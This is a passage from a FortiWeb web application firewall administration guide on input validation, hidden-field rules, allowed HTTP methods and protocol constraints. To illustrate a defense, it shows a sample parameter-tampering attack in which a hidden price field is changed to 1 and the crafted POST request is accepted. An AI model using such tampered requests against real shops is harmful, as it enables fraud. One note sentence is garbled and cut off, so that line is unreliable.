7. Configure these settings:

Setting name	Description
Name	Type the value of the <code>name</code> attribute of the parameter's input tag exactly as it appears in the form on the web page. For example, if the HTML code for an input tag is: <pre><input type="password" name="pwd" /></pre> the <i>Name</i> should be <code>pwd</code>. Note: If the name is not correct, this rule will not match the parameter.
Max Length	Type the maximum length of the string that is the input's value. For example, if the input's value is always a short string like <code>candy</code>, the maximum length could be 5. If the value is a number less than 100 such as 42, the maximum length should be 2 (since the number '42' is 2 characters long). To disable the length limit, type 0. Tip: See also Malformed Request.
Required	Enable if the parameter is required for HTTP/HTTPS requests to this combination of <code>Host</code>: field and URL.
Use Type Check	Enable to validate the data type of the parameter. Also configure Argument Type.

Setting name	Description
Argument Type	Select one of: • Data Type — Select one of the predefined data types from Data Type. • Regular Expression — Define the data type using a regular expression in Regular Expression. • Custom Data Type — Select one of the custom data types from Custom Data Type. This option is only applicable when Use Type Check is enabled.
Data Type	Select a predefined data type. See “Predefined data types” on page 164. This option is only available when Argument Type is Data Type.
Regular Expression	Type a regular expression that matches all valid values, and no invalid values, for this input. This option is only available when Argument Type is Regular Expression. To create and test a regular expression, click the >> (test) icon. This opens the <i>Regular Expression Validator</i> window where you can fine-tune the expression (see “Regular expression syntax” on page 658).
Custom Data Type	Select a custom data type. See “Defining custom data types” on page 417. This option is only available when Argument Type is Custom Data Type.

8. Click **OK**.
9. Repeat the previous steps for each individual validation rule that you want to add to the group of validation rules.
10. Group the input rule in a parameter validation rule. For details, see “[Configuring parameter validation \(input rules\)](#)” on [page 411](#).

See also

- [Grouping input rules](#)
- [Preventing tampering with hidden inputs](#)
- [Connecting to FortiGuard services](#)
- [How often does Fortinet provide FortiGuard updates for FortiWeb?](#)

Defining custom data types

In addition to using the predefined regular expressions that FortiWeb has to detect data types, you can also configure your own custom data types.



Unlike predefined data types, custom data types **cannot** be used by auto-learning profiles.



To create a custom data type by modifying a predefined data type, copy the text in the [Pattern](#) column of the predefined data type, then paste it into a custom data type.

To create a custom data type

1. Go to *Auto Learn > Custom Pattern > Data Type*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Server Policy Configuration* category. For details, see [“Permissions” on page 46](#).

2. Click *Create New*.

A dialog appears.

The screenshot shows a dialog box titled "Edit Data Type". It has two input fields: "Name" and "Expression". The "Name" field contains the text "Level 3 Password". The "Expression" field contains the regular expression: `^(?=.*\d)(?=.*[a-z])(?=.*[A-Z])(?=.*[@#]>>`. To the right of the expression is a green button with the text ">>". At the bottom of the dialog are two buttons: "OK" and "Cancel".

3. In *Name*, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
4. In *Expression*, enter a regular expression that defines this data type.
5. To test the regular expression against sample text, click the >> (test) icon. This opens the *Regular Expression Validator* window where you can fine-tune the expression (see [“Regular expression syntax” on page 658](#)).
6. Click *OK*.
7. To use a custom data type, select it when configuring an input rule. For details, see [“Configuring parameter validation \(input rules\)” on page 411](#).

See also

- [Configuring parameter validation \(input rules\)](#)

Grouping input rules

Before you can use sets of input validation rules, you must first assemble them into a parameter validation input policy.

To configure a parameter validation policy

1. Before you can configure a parameter validation rule, you must configure one or more parameter validation rules. See [“Configuring parameter validation \(input rules\)” on page 411](#).
2. Go to *Web Protection > Input Validation > Parameter Validation Policy*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Web Protection Configuration* category. For details, see [“Permissions” on page 46](#).

3. Click *Create New*.

A dialog appears.

ID	Parameter Validation Rule
1	Input_Rule 1
2	Input_Rule 2

4. In *Name*, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
5. Click *OK*.
6. Click *Create New* to add an entry to the set.

A dialog appears.

ID: auto

Parameter Validation Rule: Input_Rule 2

[Detail...](#)

OK Cancel

7. From the rule drop-down list, select the name of an existing input validation rule.
To view or change the information associated with the rule, select the *Detail* link. The *Edit Parameter Validation Rule* dialog appears. Use the browser *Back* button to return.
8. Click *OK*.
9. Repeat the previous steps for each input rule that you want to add to the parameter validation rule.
10. To apply the parameter validation policy, select it in an inline or offline protection profile (see [“Configuring a protection profile for inline topologies” on page 456](#) or [“Configuring a protection profile for an out-of-band topology or asynchronous mode of operation” on page 464](#)).

Attack log messages contain `Parameter Validation Violation` when this feature detects a parameter rule violation.



If you do not want sensitive inputs such as passwords to appear in the attack logs' packet payloads, you can obscure them. For details, see [“Obscuring sensitive data in the logs” on page 539](#).

See also

- [Configuring a protection profile for inline topologies](#)
- [Configuring a protection profile for an out-of-band topology or asynchronous mode of operation](#)

Preventing tampering with hidden inputs

Unlike visible inputs, hidden field rules are for hidden parameters only, from `<input type="hidden">` HTML tags. For information on constraining **visible** inputs, see [“Configuring parameter validation \(input rules\)”](#).

Hidden form inputs are often written into an HTML page by the web server when it serves that page to the client, and are not visible on the rendered web page. Because HTTP is essentially stateless, like cookies, hidden form inputs are one way that web applications can use to remember session data from one page request to the next (called “persistence”).

For example, to remember the price of a TV accessed from a secret sale URL previously requested that session, this form remembers the sale price, and will provide it again to the shopping cart application when the client submits the payment page:

```
<form method="POST" action="processPayment.do">
<input type="hidden" name="price" value="900">
$900 x Quantity:    <input name="quantity" size=4><br/>
</br>
<input type="submit" value="Buy">
</form>
```

Since they are not rendered visible, hidden inputs are sometimes erroneously perceived as safe. But similar to session cookies, hidden form inputs store the software’s state information client-side, instead of server-side. This makes it vulnerable.

Hidden fields are accessible through the JavaScript document object model (DOM). Additionally, forms often use the HTTP `POST` method and send input to a URL (such as `/checkPayment.do`) that legitimate clients never see, since the server replies with an HTTP `302` status code and the next URL in the `Location:` header, which the client then fetches using the `GET` method and displays. Unless there is code to prevent it, however, attackers often can easily send altered hidden inputs to this `POST` URL simply by altering a local copy of the page, using a browser plug-in tool such as Tamper Data, or in some cases simply typing different URL parameters into the browser’s location bar.

Like any other input from clients, it can be tampered with and should not be trusted. Tampered hidden inputs can be used as a vector for state-based attacks.

To follow the above example, an attacker could alter the sale price so that he or she can buy the item much more cheaply:

```
<form method="POST" action="processPayment.do">
<input type="hidden" name="price" value="1">
$900 x Quantity:    <input name="quantity" size=4><br/>
</br>
<input type="submit" value="Buy">
</form>
```

When this form is submitted, the attacker orders TVs at a price reduced from \$900 to \$1. The request looks like this:

```
POST /processPayment.do HTTP/1.1
Host: www.example.com
Referer: http://www.example.com/checkout.do
Cookie: JSESSIONID=12345667890
Content-Type: application/x-www-form-urlencoded
POSTDATA quantity=9999&price=1
```


Unless the web application is smart enough to test for unauthorized prices, `/processPayment.do` accepts the request, processes the order, and returns a normal reply like this:

```
HTTP/1.1 302 Moved
Set-Cookie: JSESSIONID=12345667890;HttpOnly
Location: http://www.example.com/thankYou.do
Content-Length: 0
Connection: close
Content-Type: text/plain; charset=UTF-8
```

The client then loads the final “thank you” shopping cart page indicated in the reply’s `Location` header.

Hidden field rules prevent tampering by caching the values of a session’s hidden inputs as they pass from the server to the client, and verifying that they remain unchanged when the client submits the form to its `POST` URL.

To configure a hidden field rule

1. Before you configure a hidden field rule, if you want to apply it only to HTTP/HTTPS requests for a specific real or virtual host, you must first define the web host in a protected hosts group. For details, see [“Defining your protected or allowed HTTP “Host:” header names”](#).
2. Go to *Web Protection > Input Validation > Hidden Fields Rule*.
To access this part of the web UI, your administrator’s account access profile must have *Read* and *Write* permission to items in the *Web Protection Configuration* category. For details, see [“Permissions” on page 46](#).
3. Click *Create New*.
A dialog appears.

4. Configure these settings:

Edit Hidden Field Rule

Name	Hidden-rule2	
Host Status	☐	
Host	172.20.120.27 ▼	
Request URL	/index.asp	<button>Fetch URL</button>
Action	Redirect ▼	
Period Block	1 (1~3600)(Seconds)	
Severity	High ▼	
Trigger Policy	email-trig-policy1 ▼	

OK
Cancel

Post URL Table

ID	Post URL	Edit	Delete
1	/pageupload		
2	/logincheck		

< 1 > >>

Create New 

Hidden Fields Table

ID	Hidden Fields Name	Edit	Delete
1	Search-Query		

< 1 > >>

Create New 

Setting name	Description
Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
Host Status	Enable if you want the hidden field rule to apply only to HTTP/HTTPS requests for a specific web host. Also configure Host .
Host	Select the name of a protected host that the <code>Host :</code> field of an HTTP request must be in to match the hidden field rule. This option is available only if Host Status is enabled.
Request URL	Type the exact URL that contains the hidden input for which you want to create a hidden field rule. This is usually a form that is visible to the person's web browser, not the CGI script or page that processes submitted forms. The URL must begin with a slash (/). Do not include the web host name, such as <code>www.example.com</code> . It is configured separately in the <i>Host</i> drop-down list.

Setting name	Description
Action	Select which action the FortiWeb appliance will take when it detects a violation of the rule: • Alert — Accept the connection and generate an alert email and/or log message. • Alert & Deny — Block the request (reset the connection) and generate an alert and/or log message. You can customize the web page that will be returned to the client with the HTTP status code. See “Uploading a custom error page” on page 454 or Error Message. • Period Block — Block subsequent requests from the client for a number of seconds. Also configure Block Period. You can customize the web page that will be returned to the client with the HTTP status code. See “Uploading a custom error page” on page 454 or Error Message. Note: If FortiWeb is deployed behind a NAT load balancer, when using this option, you must also define an X-header that indicates the original client’s IP (see “Defining your proxies, clients, & X-headers” on page 256). Failure to do so may cause FortiWeb to block all connections when it detects a violation of this type. • Redirect — Redirect the request to the URL that you specify in the protection profile and generate an alert and/or log message. Also configure Redirect URL and Redirect URL With Reason. • Send 403 Forbidden — Reply with an HTTP 403 Access Forbidden error message and generate an alert and/or log message. The default value is <i>Alert</i>. Note: This setting will be ignored if Monitor Mode is enabled. Note: Logging and/or alert email will occur only if enabled and configured. See “Logging” on page 529 and “Alert email” on page 563. Note: Because the new active appliance does not know previous session history, after an HA failover, for existing sessions, FortiWeb will not be able to apply this feature. See “Sessions & FortiWeb HA” on page 37. Note: If you will use this rule set with auto-learning, you should select <i>Alert</i>. If Action is <i>Alert & Deny</i>, or any other option that causes the FortiWeb appliance to terminate or modify the request or reply when it detects an attack attempt, the interruption will cause incomplete session information for auto-learning.
Block Period	Type the number of seconds that you want to block subsequent requests from the client after the FortiWeb appliance detects that the client has violated the rule. This setting is available only if Action is set to <i>Period Block</i>. The valid range is from 1 to 3,600 (1 hour). The default value is 1. See also “Monitoring currently blocked IPs” on page 591.

Setting name	Description
Severity	When rule violations are recorded in the attack log, each log message contains a <i>Severity Level</i> (<code>severity_level</code>) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule: • Low • Medium • High The default value is <i>High</i>.
Trigger Action	Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the rule. See “Configuring triggers” on page 544.

5. Click *OK*.
6. Click *Fetch URL*.
A dialog appears.



7. In the *Pserver* drop-down list, select the IP address of a physical server.
8. In *Port*, type the TCP port number on which the physical server listens for HTTP/HTTPS connections. The valid range is from 0 to 65,535.
9. Click the *Fetch URL* button on the dialog.

FortiWeb retrieves the web page you specified in [Request URL](#) on the *Hidden Fields Rule* dialog, and analyzes it. A dialog appears displaying a list of hidden inputs that the FortiWeb appliance found in that web page, and the URLs to which those hidden inputs will be posted when a client submits the form.

Entries in the list are color-coded by the recommended course of action:

- **Blue** — The URL/hidden field exists in the requested URL, but you have **not** yet configured it in the hidden field rule. Consider adding it to the hidden field rule.
- **Red** — The URL/hidden field does **not** exist in the requested URL, yet it is currently configured in the hidden field rule. Consider removing it from the hidden field rule.
- **Black** — The URL/hidden field exists in both the requested URL and your hidden field rule.

For each entry that you want included in the hidden field rule, in the *Status* column, select its check box.



In addition to new items, mark the check boxes of any previously configured items that you want to keep in the hidden field rule. If you do not, they will be deleted.

10. Click *OK* to save the entries in the dialog.

FortiWeb adds the entries to the *Post URL Table* and *Hidden Fields Table* on the *Hidden Fields Rule* dialog. It also removes any that did not match the fetched URL.

11. To manually add entries to either table, do the following:
 - Click *Create New* under the applicable table.
A dialog appears prompting for either a new URL or hidden field.
 - Enter the name of the post URL or hidden field.
 - Click *OK*.
12. Repeat the previous steps for each post URL or hidden field that you want to manually add to the hidden field rule.
13. On the *Hidden Fields Rule* dialog, click *OK*.
14. Group hidden field rules in a hidden fields protection policy (see [“Grouping input rules for hidden inputs”](#)).

See also

- [Connecting to FortiGuard services](#)
- [How often does Fortinet provide FortiGuard updates for FortiWeb?](#)

Grouping input rules for hidden inputs

In order to protect hidden fields on your web pages, you must group input rules into policies in order to apply them.

To configure a hidden fields policy


1. Before create a hidden fields policy, you must first configure one or more hidden field rules. See [“Preventing tampering with hidden inputs”](#) on page 420.
2. Go to *Web Protection > Input Validation > Hidden Fields Policy*.
To access this part of the web UI, your administrator’s account access profile must have *Read* and *Write* permission to items in the *Web Protection Configuration* category. For details, see [“Permissions”](#) on page 46.
3. Click *Create New*.
A dialog appears.

ID	Hidden Fields Rule	Edit	Delete
1	Hidden-rule1		
2	Hidden-rule2		

4. In *Name*, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
5. Click *OK*.

6. Click *Create New* to include a rule in the set.

A dialog appears.



7. From the *Hidden Fields Rule* drop-down list, select the name of an existing hidden field rule that you want to add to the set.

To view or change a hidden fields rule, click the *Detail* link. The *Hidden Field Rule* dialog appears. To return, use your browser's *Back* button.

8. Click *OK*.
9. Repeat the previous steps for each individual rule that you want to add to the hidden fields policy.
10. To apply a hidden field policy:
 - select it in an inline protection profile (see [“Configuring a protection profile for inline topologies” on page 456](#)) and
 - enable [Session Management](#)

Specifying allowed HTTP methods

You can configure policies that allow only specific HTTP request methods. This can be useful for preventing attacks, such as those exploiting the HTTP method `TRACE`.

Some popular web applications such as Subversion, CalDAV, and WebDAV require custom or less common HTTP methods. Many web applications, however, only require `GET` and `POST`. Disabling all unused methods reduces available methods for attackers. If you are unsure what HTTP methods are required by your web applications, you can use auto-learning to discover them. See [“Auto-learning” on page 149](#).



Generally, `TRACE` should only be used during debugging, and should be disabled otherwise.

To configure an HTTP request method policy

1. If you want to include method exceptions in a policy, create them first. For more information, see [“Configuring allowed method exceptions” on page 428](#).
2. Go to *Web Protection > Access > Allow Method Policy*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Web Protection Configuration* category. For details, see [“Permissions” on page 46](#).
3. Click *Create New*.

A dialog appears.

4. Configure these settings:

Setting name	Description
Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
Allow Request	Mark the check boxes for all HTTP request methods that you want to allow for this specific policy. Methods that you do not select will be denied, unless specifically allowed for a host and/or URL in the selected <i>Allow Method Exceptions</i>. The <i>OTHERS</i> option includes methods not specifically named in the other options. It often may be required by WebDAV (RFC 4918) applications such as Microsoft Exchange Server 2003 and Subversion, which may require HTTP methods not commonly used by web browsers, such as <code>PROPFIND</code> and <code>BCOPY</code>. Note: If a <i>WAF Auto Learning Profile</i> is used in the server policy where the HTTP request method is applied (via the <i>Web Protection Profile</i>), you must enable the HTTP request methods that will be used by sessions that you want the FortiWeb appliance to learn about. If a method is disabled, the FortiWeb appliance will reset the connection, and therefore cannot learn about the session.
Severity	When rule violations are recorded in the attack log, each log message contains a <i>Severity Level</i> (<code>severity_level</code>) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule: • Low • Medium • High The default value is <i>Medium</i>.
Trigger Action	Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the rule. See “Configuring triggers” on page 544 .
Allow Method Exceptions	Select an HTTP request method exception definition to apply to the policy. The method exceptions define specific HTTP request methods that are allowed by specific URLs and hosts. If you want to view the information associated with the HTTP request method exceptions used by this policy, select the <i>Detail</i> link beside the <i>Allow Method Exceptions</i> list. The <i>Allow Method Exceptions</i> dialog appears. Use the browser <i>Back</i> button to return. For more information, see “Configuring allowed method exceptions”.

5. Click OK.

6. To apply the allowed method policy, select it in an inline or offline protection profile (see [“Configuring a protection profile for inline topologies” on page 456](#) or [“Configuring a protection profile for an out-of-band topology or asynchronous mode of operation” on page 464](#)).

Configuring allowed method exceptions

You can configure exceptions to allowed HTTP method policies.

While most URL and host name combinations controlled by a profile may require similar HTTP request methods, you may have some that require different methods. Instead of forming separate policies and profiles for those requests, you can configure allowed method exceptions. The exceptions define specific HTTP request methods that are allowed by specific URLs and hosts.

To configure an allowed method exception

1. Before you configure an allowed method exception, if you want to apply it only to HTTP requests for a specific real or virtual host, you must first define the web host in a protected hosts group. For details, see [“Defining your protected or allowed HTTP “Host:” header names” on page 239](#).
2. Go to *Web Protection > Access > Allow Method Exceptions*.
To access this part of the web UI, your administrator’s account access profile must have *Read* and *Write* permission to items in the *Web Protection Configuration* category. For details, see [“Permissions” on page 46](#).
3. Click *Create New*.
A dialog appears.

ID	Host	Host Status	URL Pattern	Type	Allow Method Exception	
1	172.20.120.27	Enable	/index.asp	Simple String	GET POST	

4. In *Name*, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
5. Click *OK*.
6. Click *Create New* to add an entry to the set.
A dialog appears.

7. Configure these settings:

Setting name	Description
Host Status	Enable to require that the <code>Host :</code> field of the HTTP request match a protected hosts entry in order to match the allowed method exception. Also configure Host .
Host	Select which protected hosts entry (either a web host name or IP address) that the <code>Host :</code> field of the HTTP request must be in to match the allowed method exception. This option is available only if Host Status is enabled.
Type	Select whether <i>URL Pattern</i> is a <i>Simple String</i> (that is, a literal URL) or a <i>Regular Expression</i> .
URL Pattern	Depending on your selection in Type , enter either: - the literal URL, such as <code>/index.php</code>, that is an exception to the generally allowed HTTP request methods. The URL must begin with a slash (<code>/</code>). - a regular expression, such as <code>^/*.php</code>, matching all and only the URLs which are exceptions to the generally allowed HTTP request methods. The pattern does not require a slash (<code>/</code>); however, it must at match URLs that begin with a slash, such as <code>/index.cfm</code>. For example, if multiple URLs on a host have identical HTTP request method requirements, you would type a regular expression matching all of and only those URLs. Do not include the domain name, such as <code>www.example.com</code>, which is configured separately in the Host drop-down list. To create and test a regular expression, click the <code>>></code> (test) icon. This opens the <i>Regular Expression Validator</i> window where you can fine-tune the expression (see “Regular expression syntax” on page 658).
Allow Method Exception	Mark the check boxes of all HTTP request methods that you want to allow. Methods that you do not select will be denied. The <i>OTHERS</i> option includes methods not specifically named in the other options. It often may be required by WebDAV (RFC 4918) applications such as Microsoft Exchange Server 2003 and Subversion , which may require HTTP methods not commonly used by web browsers, such as <code>PROPFIND</code> and <code>BCOPY</code> . Note: If a <i>WAF Auto Learning Profile</i> will be selected in the policy with an offline protection profile that uses this allowed method exception, you must enable the HTTP request methods that will be used by sessions that you want the FortiWeb appliance to learn about. If a method is disabled, the FortiWeb appliance will reset the connection, and therefore cannot learn about the session.

8. Click **OK**.
9. Repeat the previous steps for each exception that you want to add to the allowed method exceptions.
10. To apply the allowed method exception, select it in an allowed method policy. For details, see [“Specifying allowed HTTP methods” on page 426](#).

See also

- [Configuring a protection profile for inline topologies](#)
- [Configuring a protection profile for an out-of-band topology or asynchronous mode of operation](#)

HTTP/HTTPS protocol constraints

Protocol constraints govern features such as the HTTP header fields in the protocol itself, as well as the length of the HTML, XML, or other documents or encapsulated protocols carried in the HTTP body payload.

Use protocol constraints to prevent attacks such as buffer overflows in web servers that do not restrict elements of the HTTP protocol to acceptable lengths, or mishandle malformed requests. Such errors can lead to security vulnerabilities.



You can also use protocol constraints to block requests that are too large for the memory size of FortiWeb’s scan buffers. (Without a corresponding protocol constraint, items that are too large to be buffered will pass without scanning or rewriting. See [“Buffer hardening” on page 597](#).)

For example, if your web applications require HTTP `POST` requests with unusually large parameters, you would adjust the HTTP body buffer size (see `http-cachesize` in the [FortiWeb CLI Reference](#)). Then, you would configure [Malformed Request](#) and other HTTP protocol constraints to harden your configuration.



This scan is bypassed if the client’s source IP is a known search engine and you have enabled [Allow Known Search Engines](#).

To configure an HTTP protocol constraint

1. If you plan to add constraint exceptions to your HTTP protocol constraints, configure the exceptions first. See [“Configuring HTTP protocol constraint exceptions” on page 435](#). If you want to use a trigger when the rule is violated, configure it also. See [“Configuring triggers” on page 544](#).
2. Go to *Web Protection > Protocol > HTTP Protocol Constraints*.
To access this part of the web UI, your administrator’s account access profile must have *Read* and *Write* permission to items in the *Web Protection Configuration* category. For details, see [“Permissions” on page 46](#).
3. Click *Create New*.
A dialog appears.

4. Configure these settings:

Edit HTTP Protocol Constraints					
Name		Action	Block Period	Severity	Trigger Action
Illegal Host Name	☒	Alert & Deny ▾	60	High ▾	notification-servers1 ▾
Illegal HTTP Version	☒	Alert & Deny ▾	60	High ▾	notification-servers1 ▾
Illegal HTTP Request Method	☒	Alert & Deny ▾	60	High ▾	notification-servers1 ▾
HTTP Request Length	64000	Alert & Deny ▾	60	High ▾	notification-servers1 ▾
Content Length	1	Alert & Deny ▾	60	High ▾	notification-servers1 ▾
Body Length	1	Alert & Deny ▾	60	High ▾	notification-servers1 ▾
Header Length	2048	Alert & Deny ▾	60	High ▾	notification-servers1 ▾
Header Line Length	2048	Alert & Deny ▾	60	High ▾	notification-servers1 ▾
Number of Header Lines in Request	32	Alert & Deny ▾	60	High ▾	notification-servers1 ▾
Total URL and Body Parameters Length	1	Alert & Deny ▾	60	High ▾	notification-servers1 ▾
Total URL Parameters Length	1	Alert & Deny ▾	60	High ▾	notification-servers1 ▾
Number of URL Parameters	1	Alert & Deny ▾	60	High ▾	notification-servers1 ▾
Number of Cookies in Request	1	Alert & Deny ▾	60	High ▾	notification-servers1 ▾
Number of ranges in Range Header	1	Alert & Deny ▾	60	High ▾	notification-servers1 ▾
Malformed Request	☒	Alert & Deny ▾	60	Medium ▾	notification-servers1 ▾
Exception Name	http-constraint-exception1 ▾ Detail...				



To disable a parameter check, type 0.

Setting name	Description
Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
Action	Select which action the FortiWeb appliance will take when it detects a violation of the rule: • Alert — Accept the connection and generate an alert email and/or log message. • Alert & Deny — Block the request (reset the connection) and generate an alert and/or log message. You can customize the web page that will be returned to the client with the HTTP status code. See “Uploading a custom error page” on page 454 or Error Message. • Period Block — Block subsequent requests from the client for a number of seconds. Also configure Block Period. You can customize the web page that will be returned to the client with the HTTP status code. See “Uploading a custom error page” on page 454 or Error Message. Note: If FortiWeb is deployed behind a NAT load balancer, when using this option, you must also define an X-header that indicates the original client’s IP (see “Defining your proxies, clients, & X-headers” on page 256). Failure to do so may cause FortiWeb to block all connections when it detects a violation of this type. The default value is <i>Alert</i>. Caution: This setting will be ignored if Monitor Mode is enabled. Note: Logging and/or alert email will occur only if enabled and configured. See “Logging” on page 529 and “Alert email” on page 563. Note: If you will use this rule set with auto-learning, you should select <i>Alert</i>. If Action is <i>Alert & Deny</i>, or any other option that causes the FortiWeb appliance to terminate or modify the request or reply when it detects an attack attempt, the interruption will cause incomplete session information for auto-learning.
Block Period	Type the number of seconds that you want to block subsequent requests from the client after the FortiWeb appliance detects that the client has violated the rule. This setting is available only if Action is set to <i>Period Block</i>. The valid range is from 1 to 3,600 (1 hour). The default value is 60. See also “Monitoring currently blocked IPs” on page 591.
Severity	When rule violations are recorded in the attack log, each log message contains a <i>Severity Level</i> (<code>severity_level</code>) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule: • Low • Medium • High The default value is <i>High</i>.

Setting name	Description
Trigger Action	Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the rule. See “Configuring triggers” on page 544 .
Illegal Host Name	Enable to check for illegal characters in the <code>Host :</code> line of the HTTP header, such as null characters or encoded characters. For example, characters such as <code>0x0</code> or <code>%00*</code> will be considered illegal. Attack log messages contain <code>Illegal Host Name</code> when this feature detects an invalid host name.
Illegal HTTP Version	Enable to check for invalid HTTP version numbers. Currently, the only valid version strings are <code>HTTP/1.0</code> or <code>HTTP/1.1</code>. Attack log messages contain <code>Illegal HTTP Version</code> when this feature detects an invalid HTTP version number.
Illegal HTTP Request Method	Enable to check for invalid HTTP request methods according to RFC 2616. Any method not defined in that RFC — including misspellings like <code>GETT</code> as well as HTTP extension methods (e.g. WebDAV and CalDAV) like <code>PROPFIND</code> and <code>MKCALENDAR</code> — will be considered invalid. Attack log messages contain <code>Illegal HTTP Method</code> when this feature detects an invalid HTTP request method.
HTTP Request Length	Type the maximum acceptable length in bytes of the entire HTTP request, including both headers and body. Attack log messages contain <code>HTTP Request Length Exceeded</code> when this feature detects an excessively large HTTP request.
Content Length	Type the maximum acceptable length in bytes of the request body. Length is determined by comparing this limit with the value of the <code>Content-Length:</code> field in the HTTP header. Attack log messages contain <code>Content Length Exceeded</code> when this feature detects a content length buffer overflow attempt. Tip: RPC requests’ content length often do not match their own <code>Content-Length:</code> header. Attackers may also intentionally craft mismatching <code>Content-Length:</code> headers in an attempt to cloak buffer overflows. For those cases, use other limits instead or in addition, such as Body Length and “Limiting file uploads” on page 440.
Body Length	Type the maximum acceptable size in bytes of the HTTP body. For requests that use the HTTP <code>POST</code> method, this typically includes parameters from submitted by HTML form inputs. In the case of file uploads, this can normally be many megabytes. For most simple forms, however, the body should be only a few kilobytes in size at maximum. Attack log messages contain <code>Body Length Exceeded</code> when this feature detects a body size buffer overflow attempt.
Header Length	Type the maximum acceptable size in bytes of all HTTP header lines. Attack log messages contain <code>Total Size of All Headers Too Large</code> when this feature detects a header size buffer overflow attempt.

Setting name	Description
Header Line Length	Type the maximum acceptable size in bytes of each line in the HTTP header. Attack log messages contain <code>Header Line Too Large</code> when this feature detects an attempted header line length buffer overflow.
Number of Header Lines In Request	Type the maximum acceptable number of lines in the HTTP header. Attack log messages contain <code>Too Many Headers</code> when this feature detects a header line count buffer overflow attempt.
Total URL and Body Parameters Length	Type the total maximum total acceptable size in bytes of all parameters in the URL and/or, for HTTP <code>POST</code> requests, the HTTP body. Question mark (<code>?</code>), ampersand (<code>&</code>), and equal (<code>=</code>) characters are not included. Attack log messages contain <code>Total URL and Body Parameters Length Exceeded</code> when this feature detects a total parameter size buffer overflow attempt.
Total URL Parameters Length	Type the total maximum acceptable length in bytes of all parameters, including their names and values, in the URL. Parameters usually appear after a <code>?</code>, such as: <code>/url?parameter1=value1&parameter2=value2</code> It does not include parameters in the HTTP body, which can occur with HTTP <code>POST</code> requests. For those, configure Total URL and Body Parameters Length or Body Length instead. Attack log messages contain <code>Total URL Parameters Length Exceeded</code> when this feature detects a URL parameter line length buffer overflow attempt.
Number of URL Parameters	Type the maximum number of parameters in the URL. The maximum number is 104. It does not include parameters in the HTTP body, which can occur with HTTP <code>POST</code> requests. Attack log messages contain <code>Too Many Parameters in Request</code> when this feature detects a URL parameter count buffer overflow attempt.
Number of Cookies In Request	Type the maximum acceptable number of cookies in an HTTP request. Attack log messages contain <code>Too Many Cookies in Request</code> when this feature detects a cookie count buffer overflow attempt.
Number of ranges in Range Header	Type the maximum acceptable number of <code>Range:</code> lines in each HTTP header. The default value is 5. Attack log messages contain <code>Too Many Range Headers</code> when this feature detects too many <code>Range:</code> header lines. Tip: Some versions of Apache are vulnerable to a denial of service (DoS) attack on this header, where a malicious client floods the server with many <code>Range:</code> headers. The default value is appropriate for un-patched versions of Apache 2.0 and Apache 2.1.

Setting name	Description
Malformed Request	Enable to inspect the request for: • syntax errors • exceeding the maximum buffer size allowed by FortiWeb's HTTP parser Errors and buffer overflows can cause problems in web servers that do not handle them gracefully. Such problems can lead to security vulnerabilities. Attack log messages contain <code>Too Many Parameters</code> or <code>Too Many Flash Parameters</code> or another message that indicates the specific cause when this feature detects a request with parser errors or a FortiWeb buffer overflow attempt. Caution: Fortinet strongly recommends to enable this option unless large requests/parameters are required by the web application. If part of a request is too large for its scan buffer, FortiWeb cannot scan it for attacks. It also cannot perform rewrites. Unless you configure it to block, FortiWeb will allow oversized requests to pass through without scanning or rewriting. This could allow padded attacks to pass through, and rewriting to be skipped. If feasible, instead of disabling this option: • Enlarge the scan buffer for each parameter (see <code>http-cachesize</code> in the FortiWeb CLI Reference). Requests larger than the buffer will be flagged as potentially malformed by FortiWeb's parser, causing FortiWeb to block normal requests (i.e. false positives). For more buffer specifications, see "Buffer hardening" on page 597. • Disable this setting only for URLs that require oversized parameters (see "Configuring HTTP protocol constraint exceptions" on page 435)
Exception Name	Select the HTTP constraints exception, if any, that you want to apply to this policy (see "Configuring HTTP protocol constraint exceptions" on page 435). If you want to view or change the information associated with a exception, select the <i>Detail</i> link. The <i>HTTP Constraints Exception</i> dialog appears, where you can view and edit the exceptions.

5. Click OK.

6. To apply the HTTP protocol constraint profile, select it in an inline or offline protection profile (see ["Configuring a protection profile for inline topologies" on page 456](#) or ["Configuring a protection profile for an out-of-band topology or asynchronous mode of operation" on page 464](#)).

See also

- [Sequence of scans](#)

Configuring HTTP protocol constraint exceptions

You can configure exceptions for use with HTTP protocol constraints.

Exceptions define HTTP constraints that will **not** be subject to HTTP protocol constraint. Exceptions are useful when you know that some HTTP protocol constraints, during normal use, will cause false positives by matching an attack signature.

For example, if no exceptions are defined, FortiWeb executes the HTTP protocol constraint as defined in “[HTTP/HTTPS protocol constraints](#)” on page 430. But, if you mark the check box for [Header Length](#) in a HTTP protocol constraint exception for a specific host, FortiWeb will skip the HTTP header length check when executing the web protection profile for that host.

As another example, some web applications require very large HTTP `POST` requests. You can use [Malformed Request](#) to create an exception from the constraint for those requests.



Like any software, FortiWeb’s buffers are not endless. If an HTTP request overall or its individual components such as parameters are too long to fit the scan buffer, they will you do not want to

To configure an HTTP constraint exception

1. Go to *Web Protection > Protocol > HTTP Constraints Exception*.

To access this part of the web UI, your administrator’s account access profile must have *Read* and *Write* permission to items in the *Web Protection Configuration* category. For details, see “[Permissions](#)” on page 46.

2. Click *Create New*.

A dialog appears.

ID	Host Status	Host	Request Type	Request File	
1	Enable	172.20.120.27	Simple String	/index.asp	Clear all Delete Edit

3. In *Name*, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
